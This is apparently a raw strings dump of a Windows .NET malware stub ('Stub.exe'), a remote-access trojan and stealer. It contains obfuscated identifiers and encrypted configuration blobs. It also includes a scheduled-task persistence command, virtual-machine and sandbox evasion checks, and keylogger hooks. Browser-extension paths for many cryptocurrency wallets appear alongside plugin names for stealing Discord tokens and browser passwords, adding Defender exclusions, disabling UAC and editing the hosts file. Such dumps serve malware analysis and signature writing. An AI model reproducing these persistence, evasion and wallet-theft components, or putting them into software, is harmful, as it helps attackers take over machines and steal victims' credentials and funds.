!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
<Read>b__0
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
X509Certificate2
ToUInt64
ToInt64
ToUInt16
ToInt16
HMACSHA256
get_UTF8
<Module>
CXRufuHZDBA
pndYNpXfWzykOA
KmNAjZHTyNTA
ubZifMpSaOlMpVA
nEkxnuUXJndA
lCrJbRjWeCjNpNjPjA
SystemParametersInfoA
ysezQpONhXXSxA
gZnJEisyywxA
XHQZxxUbMiBTJEB
UqTCkqDwDsFB
nwNTXhPPSRB
UKzGaQGMZRB
KIJJUZfRTuRB
cJtyVmGKMNukuvSB
wtyvJlptUnAoekRYB
exxcRsBohtB
IdxUAHEdroVcAC
IfiLgZOPWCC
GmaXPVoYcHHKDC
ZftwBPSaOgKC
WpHTUwRdYpqVC
OpXtZouyxiajYC
roDLGQvbEOHvmCdC
mzLdQCnhjkHdC
QzGvItbakC
uZxergfnIvkhsC
CooBtbtoigRdED
MapNameToOID
get_FormatID
NRzbbQOsdvGpXJD
lODWEronrJD
XGSkzYDtzEKgMD
XgUVktFTtaOD
YRcqfUdiTrWD
MXkDSSjvOkD
KBeUxjFezBOvBBE
ramHBoaBnNQDE
YSlMnkbJqorSGE
XNQXpnZyOE
XpIuvcGVnbCmPjE
susTkEdJAlE
ZbnXURvRZmE
noStuNRAOXBF
VEgajHbSSLF
tOZwBewVVF
VMjTDBHuXF
OAKTWKTnfkF
VYRFHklhmzyFuppF
FLSoHahDCKiyF
vROdDfgaGkTjG
WaTnXTdRSRXzxbpG
dJwAWECeZWjQrG
KidZJAaiuG
gqcNcMaYTNxWwG
lMQlzNIdNAeNYiDH
lQqolNXbFH
ESanYOfYAlULH
nuUOErHUbMNH
IURXdqZtdgMPH
VTqrsNVBAxlH
ZMMKWkEdbPqxH
HWUwsQGRTSfyH
get_ASCII
dYWMwrQYqpJOKI
vjgyDaNEQI
gVsfRXfFByYeWI
LiYtAfxAciqGyeI
aXcIPJrRvPgLlrI
ihAytRsXTwtI
qKUYlYjnyBJ
TVgKeoXVCJ
osYuwfQPxJJ
cONCbvQPZJ
tkufsvTpibJ
sgOWRQLMcJ
YmdxcbwDmxFvDmJ
jdeIjKSJWKmEhmJ
abDhfDqIOxJ
ZywvJDbeaMGbCK
ITUgrTeMAKDK
AwUKQnuhNViVTEK
siEanckxaZAnYMK
TAtVJYCaXXaRK
ewfufkdPlnEcK
WczQZGLuTjK
QRTphmBFFElK
IhjgYsbXjsK
OfeHOBuGBnGyixK
TqPtNaZFogSBL
lrUBNnwOdJL
KybFdXyZjTDAVL
GmMaiPoVOQeWUVL
anUDbOBVoQbL
GIgxIkrWQiL
XIJWEsPXoRCQM
AYsujtotVjnbgChRM
KufgXieXTM
wKyUlrsZDVM
SUaAiBmEaUJDvM
CZjyTgLVaoGKyM
AwwaaPNrueyM
wiHFyjVbZfAN
irmerYqnMQDN
VIiLpziPwQN
CMptijNYAkmUN
DQmmohizVN
TISZNTRIMzeaN
DjevsRClsOevuN
AMLoXdFztwN
System.IO
HVtGclCrbzkJO
LvlygiPxdPoRQO
pqMiNAihGvEiO
iuJePQplWsO
oTVrLvFDnGNxFruO
QaDlzmETbKPP
BOmcNMJmRP
beiQlLyeAgxbP
CLYtkcIYFhnjcP
UdqllFYtpOXsP
sNNzglgUhlsP
EiGiLeSEejuP
PaYKxbfyTtOvP
iZRQZvpRbzLKjgDQ
vPEbvBvZzIknvGQ
UVDEeUGClksXhHQ
QsvmtoRCTDtSJQ
OFLfjhnkSpKQ
uQQMQVBdYNQ
GrQtnCkdfarKVQ
awdATyikaQ
exrPGCezFcuTJdQ
sfquGVZWMdQydQ
ygvoLUxEuamQ
DnQqbFWsGGLJgnQ
FdDdacHeGFuQ
PriTlhzElbvQ
DkwuOrgOFfEgxQ
DzPkfFEOIieGmTR
LcHBnWAJtyPZNBS
kygfHEMVFOoBS
hONPLbnOGkQDVpES
zuQYAoAopNS
JSKhINFADxTS
leCCFRvVWODXoYS
RhHqpqClDsS
oBqkeHIjegwS
poOEJSafONwdyS
FVgFnLqeBT
JdfRJjCaSlDT
rLoCLwwXcPeJT
DuzGCBKtJjMT
KIVoLKNVDYaomT
uBqfuuitzLsT
aYVmgZnlppsT
uVYUNtVDqEU
xMJOagtRnegFU
KZjoobkkhJU
lewmQMOMAYGhFQU
dBmyAIhAZU
JlKudOTXVPmU
mPqmobOkFYkFHV
get_IV
set_IV
GenerateIV
QdENKsppYqcULV
vZJqtHEyUOJSV
ZydyrMAITV
FnaCvQMPsjTcmUV
fYTgFjFeHgKilV
zeocWmGzdqV
eQkDsrCCALCW
YoZuEbiCAgIGDW
BhLeBFxKZAEW
LEmekZqZYeqZEW
pblGjoQPIW
yDucCTkTYhcDuIW
DcxKckmXDxwNW
vjVHGbIcIsPW
wToaUFOFpnsaW
vCouAnxyDyTkW
qcgTozDIInW
jSLZOvipFvHpW
bpydydGOeqqpW
saRnOarOMrXX
FtJIECAaHvyyHNhX
yJicRUsEYnX
sTNiFMjsmCcoX
fSgEzachdltX
pLObHTVIGiytX
smJVhOvOQoAY
MONO ANSY
jeStjmBXGZxPdY
dSXUrTyYkGoY
boFExTPijwoY
KlJPDzJyMrqY
wDtdTvpfgIpAZ
XcQxQRbIMChgFZ
waZsjmHzgIZ
lViQEOpqopvkZ
moQOcXMoHqZ
cgFtnZhwpsZ
value__
snlNeEmyPEa
xePPudpvmSFa
UAxqTHQMdnwlgIa
xfmmyOIUbGjbGKa
cRSEkQnLaTNa
ZsFaNqkTcPa
TCKlWDsUPtuxWUa
VQTTmSPjwja
vAUYdENSWtkqa
YWdZqXgmXva
YLBqnSGWwza
DnhrwJNOHIb
OuPSAxDRfhgFdb
mscorlib
VQQedbXhzib
LWisniUdrFXBub
XKsGKPGfxwb
BJwBetiGPTcIxb
hgmCAhKQNMfBc
System.Collections.Generic
Microsoft.VisualBasic
FJhaIcEmlTLjc
UZOPkqFslc
get_SendSync
ElBLjPpFgoc
MplOrIPhvrZagqc
VSjsmAnFFMDrAd
xddePOQoRLXnEd
QvFClKxOHd
GetWindowThreadProcessId
GetProcessById
WkzYOwehxIPd
gNDZVAKWKsYd
EndRead
BeginRead
Thread
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
XTZMPQOjSFVDugd
get_Guid
EaCmfeVKGEld
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
Append
RegistryValueKind
CompareMethod
method
cOJQfatbhAqd
Clipboard
egzufdcQmiQsDe
MLRsxxBOZVqwLe
QUoNYxhibzTe
zcIgPTLmTYsae
Replace
IsNullOrWhiteSpace
CreateInstance
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
DeleteSubKeyTree
CGTDtTHbxbJfe
HpOQVnLoihfe
get_Message
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
ToSingle
DownloadFile
IsInRole
WindowsBuiltInRole
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
CheckHostName
DateTime
xixKrqZpme
WriteLine
get_NewLine
Combine
UriHostNameType
get_ValueType
ProtocolType
GetType
SocketType
FileShare
System.Core
MethodBase
Dispose
StrReverse
X509Certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
DeleteValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
cFQEUlqzcrhxe
PiUFzUyazzye
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
LkeXPqdKjuFf
ekRHCaqWRJf
jrdbwyJfBYKewKf
skmzfzQtjLf
SizeOf
OTdcibgZhVf
VbVSmtEAkajf
mcDuZKzLAjlf
dsMhHuAInwuf
xxOQXeXduQoAg
vSMEcJxqLvBg
nyUOVnNoiHg
xCEbXdbjMfJg
mKWNgSLHMg
eweBQfTUUSfrQg
EqDIZxNEujPSlXg
AzmJlWwZLZtPZg
xcdUfRxRvcg
CryptoConfig
JESHxkSfDoig
SvImJlgdjg
ZwsBtQdczmnjg
MQRQtYyOiHVgnPmg
UJiwGlHxCng
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
DownloadString
ToString
get_AsString
set_AsString
GetString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
garQqOerrg
PupBiyuQLvKcug
qYegHhYIiQicFMh
KRhirCCEqhfNh
ieZilSTfrykQh
pQWpTNuXlVjsWh
mhzeJYtFKnhyUPXh
WBmAkCElJuTRZh
LJNWKDeRInXMBdh
NMKXsbtZinrh
ComputeHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
get_Length
EndsWith
nbHjJaRtXJpIICi
UqlRfYXKsPQHi
xGMygOIJLi
PKezahlOacJgPNi
nwcjqgkFiuMljFWi
zDpVMzHSZi
DPJlfirocZci
QNIoFXMRamwci
QuqyVEtnii
qOLNcrbOXNcji
qeIZiPEmmyli
XvTsIgqnuDkpi
kFSloKWdhqi
LEpmHraHsi
BhlWLNvMQbcjEBj
gdPUKeLQAiTGj
DakICPfAhGj
nWEOjqClJKj
xsgNEjSwVsLj
mVagVXZGuUkCNj
owkdwBflplCQNj
utoNrkxlNj
MDElTOgclSbyoNj
vnPvhHGYDBbj
AlFTxYNOAqxxfj
WtUnoAGAcRnqj
DYwLflrTAFTTXzUsj
eyxjIiLoxiAwj
iAgYUPQaPKiFCk
sVcfyGCgmevlkbZKk
DHIXZPVKRuRYjCENk
vDDYRYBQYGrQk
BynwUrTkqHRk
yCiDIvZDZRk
BrBoUwvvIwxpoVk
AsyncCallback
RemoteCertificateValidationCallback
TimerCallback
callback
RegistryKeyPermissionCheck
FlushFinalBlock
zbZKHegrKOdk
FLJtIzIlSjk
ZGCkPIoBQlnmk
vDNsqWXStkZok
NCXHhLCTkrQl
XbKDtxCRsgjUl
mSEVdIvKSqFBWl
gcfInPyojyxUepZl
RtlSetProcessIsCritical
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
get_Interval
set_Interval
XDDxiMVwwbl
ipjoBSeyRsel
LGvqiWIHPjl
kernel32.dll
user32.dll
ntdll.dll
xcShxyEUOol
IFKdJWCsxxVPql
PKmJocxCNyl
TQXuOirmSjbBiyl
rhFDCwGoFm
MZZZBbcMUNm
dEGbBcAsCPm
HqEyJGuzToTm
FileStream
NetworkStream
SslStream
CryptoStream
GZipStream
MemoryStream
lParam
wParam
YtWcIPavioMem
get_Item
get_Is64BitOperatingSystem
wYVtFJxCiXWXfm
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
YdIvQfqCSkm
Random
ChQwsjiwqm
ICryptoTransform
TRcUMZqOvqnTAn
BwLcAAnQioFBn
sZHtnoxzoHHMn
ToBoolean
TimeSpan
SBdhRsxkkYbbn
QsYIQixafn
MLqUXXTWBgn
X509Chain
AppDomain
get_CurrentDomain
dHpCoGknbjn
prlVPHagykn
zFXwgsJeJjSon
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
Application
System.Security.Authentication
System.Reflection
X509CertificateCollection
ManagementObjectCollection
set_Position
CryptographicException
ArgumentNullException
ArgumentException
kkslUGiSeeKVnon
TgbKLzbDVJyn
DdWwixNmEUJBo
AtmKNhTbmsCo
ZqLDXcJRIqMo
oXQqFUNZSiDPo
okDVzTcJtMXo
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
WNLsbtxCqGp
JmNGYigkxfKp
uurUPDSXSdONp
gcktuLLsQKyQp
JypgCKbnrDWp
kGaNmpHERCiOPmLWp
gggjNIDKOnip
Microsoft.CSharp
aOGfMUcPmsp
MvoXXbLxnsp
hmEFSXsXwwODMEq
qPBhTYCSunHFq
RJUrHUJzicqXHq
KODQtBYRmKhIq
eAyystLtqIpQq
lciXOUiuvmAhVq
XZkPXFuJcixhq
bsuDbaVUasVuMkq
RXBAfEhxehmq
System.Linq
EIgGtfPKjDuq
gfsAIUKocFr
pbeXrKqKEccTPfxRr
RQwSubypmWr
lLFsJgohJGZibr
jltGJpyWMCldr
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
get_Buffer
set_Buffer
get_AsInteger
set_AsInteger
ManagementObjectSearcher
SessionEndingEventHandler
ToUpper
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
dJmRogCvdWccNQor
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
llcIkedMbENrr
IntPtr
eTEhsHDyxr
gyTZlWtYmFs
MeoEDAOvZMOs
System.Diagnostics
FromSeconds
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
GetDirectories
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
Rfc2898DeriveBytes
ReadAllBytes
GetBytes
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
Strings
SessionEndingEventArgs
ICredentials
set_Credentials
Equals
SslProtocols
System.Windows.Forms
Contains
System.Collections
StringSplitOptions
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
FileAccess
GetCurrentProcess
IPAddress
System.Net.Sockets
set_Arguments
SystemEvents
Exists
EBHLYYfgus
GlSpcMLREvCt
KCihHwnXSyLt
Concat
ImageFormat
get_AsFloat
set_AsFloat
ManagementBaseObject
object
Collect
Connect
System.Net
Target
Socket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
VHiecdcahYht
op_Explicit
IAsyncResult
result
EIKkDTrnXmt
ToUpperInvariant
WebClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
get_RemoteEndPoint
get_Count
get_TickCount
get_ProcessorCount
GetPathRoot
ParameterizedThreadStart
Convert
FailFast
ToList
MKQtkIGKIgPWut
GetKeyboardLayout
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
zESHjipjTzt
aeWIOrWjSEu
fLBMMpJqiPAju
ufHxgAYwCsIilu
ntvcHLUaECv
ModbbORqAKv
kXWoxrmkOpxKv
fWkZZRQLkfMv
lVyCGKANXOv
OXfNnfDutmrcv
gnVxtZPnkajv
wzDmbRGDpWzlv
wKUggVGFoIwv
CWKDORCGTxv
PrWqjrYmxxv
PcGKviNCHw
dsxzZuznbwlHOPw
kWNAyGwiGYeRw
WbvaFKTHimypRw
QxdoWIZvrOqdbaw
mXFESMmZuXhzaw
mdrcovoTzvQCtRdgw
NDIHjrOqmw
GetForegroundWindow
set_CreateNoWindow
EwrYhODizbpw
RqmYWIVlAxw
ZuAxuqVFKXBx
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
UYyCBtCmMx
clYwjMTclNx
xMLScKiCUx
OInLSSqPVcx
GPwGvznQjeFkUBux
OlvzVFMkvtyx
VWfjoDCPAy
VoNlDVBbFIy
yOGaFtzJztPuLy
SZhfdPuSbSTy
ciQYMxPNvlDgWy
jldeRAqDlDday
InitializeArray
ToArray
get_AsArray
otfcmwvlmby
xcdomrCeLKwBhcy
get_Key
set_Key
CreateSubKey
OpenSubKey
get_PublicKey
MapVirtualKey
RegistryKey
System.Security.Cryptography
Assembly
AddressFamily
VIVYaSLlAgSmy
BlockCopy
ToBinary
get_SystemDirectory
Registry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
qWxqGJgAxy
nxBEEnKrCAz
JtSuyRIxJlJLz
KTWvLNhzaSz
OUTOfQHOFWz
rMGRcLMaiEKMcRZz
atOSPXmLsMdz
VhACOwwGQJwwPBmfz
OaYjxqppRjz
KCrjxBkJcOpz
VwLaEAVTrQHzz
WrapNonExceptionThrows
1.0.0.0
.NETFramework,Version=v4.6
FrameworkDisplayName
.NET Framework 4.6
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
4xtR6bwVzoLTiOArpyaSFTqpdcERcK4Oujq5tXl+sqfMDRZDE7FpyJTH6fgYrX0kMPaeuM4DPorMoH/CoNDLcA==
WGb2HIX+4FeRq4Z04gM2S08ksjCX0DtBnlYiMwLZrKkzezkOdKMmB/4rtEKp/E3u8YILXPIMbi/KBGspwry8OufMnCcNn+U+RlWgnlRa/w4=
PVd+Szf3gJXk2aAo/n95xwIcjbB7cIWKXy/5XpGfFA0YpruNfIuzx4PHd4GcGHd4G2JyrOz85jrT34tDpZwDJLoJoJG6XFtop6sLNZdDG6k=
ZBzfM+RobHJu7MiERNQIwIJlc1V5QhxrmVsCIMoeSlgFCvyvjhEaOppfwy8YWsHKP/dyFwyaGPZIHh0DBU5x+A==
%AppData%
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
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
Err HWID
ClientInfo
Microsoft
Performance
Pastebin
Antivirus
Meta_Firefox
MetaFirefox
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Chrome
MetaChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Brave
MetaBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Meta_Edge
MetaEdge
\Opera Software\Opera Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Stable\Local Extension Settings\djclckkglechooblngghdinmeemkbgci
Meta_Opera
MetaOpera
\Opera Software\Opera GX Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Software\Opera GX Stable\Local Extension Settings\chrome-extension://djclckkglechooblngghdinmeemkbgci
Meta_OperaGX
MetaOperaGX
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Chrome
PhantomChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Brave
PhantomBrave
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Chrome
BinanceChrome
\Microsoft\Edge\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Edge
BinanceEdge
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
TronLinkChrome
Exodus_Chrome
\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
BitKeep_Chrome
BitKeepChrome
\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Coinbase_Chrome
CoinbaseChrome
\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Ronin_Chrome
RoninChrome
\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Trust_Chrome
TrustChrome
\Google\Chrome\User Data\Default\Local Extension Settings\jkjgekcefbkpogohigkgooodolhdgcda
BitPay_Chrome
BitPayChrome
\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Chrome
F2aChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Brave
F2aBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ocglkepbibnalbgmbachknglpdipeoio
F2a_Edge
F2aEdge
\Ergo Wallet
Ergo_Wallet
ErgoWallet
\Ledger Live
Ledger_Live
LedgerLive
\atomic
Atomic
\Exodus
Exodus
\Electrum
Electrum
\Coinomi
Coinomi
\Binance
Binance
\Bitcoin
Bitcoin_Core
Bitcoin Core
BoolWallets
\Mozilla\Firefox\Profiles
-release
\extensions\webextension@metamask.io.xpi
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
DicordTokens
WebBrowserPass
anydesk
getscreen
WDExclusion
weburl
killps
ResetScale
KillProxy
backproxy
uacoff
Wallets
Chrome
ResetHosts
sendPlugin
Hashes
AllInOne
Password
Tokens
AVRemoval.Class1
Reset Scale succeeded!
BackProxy.Class1
wallets
\drivers\etc
\hosts.backup
\hosts
127.0.0.1
Blocked!
cmd.exe
/c taskkill.exe /im chrome.exe /f
Reset Hosts succeeded!
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0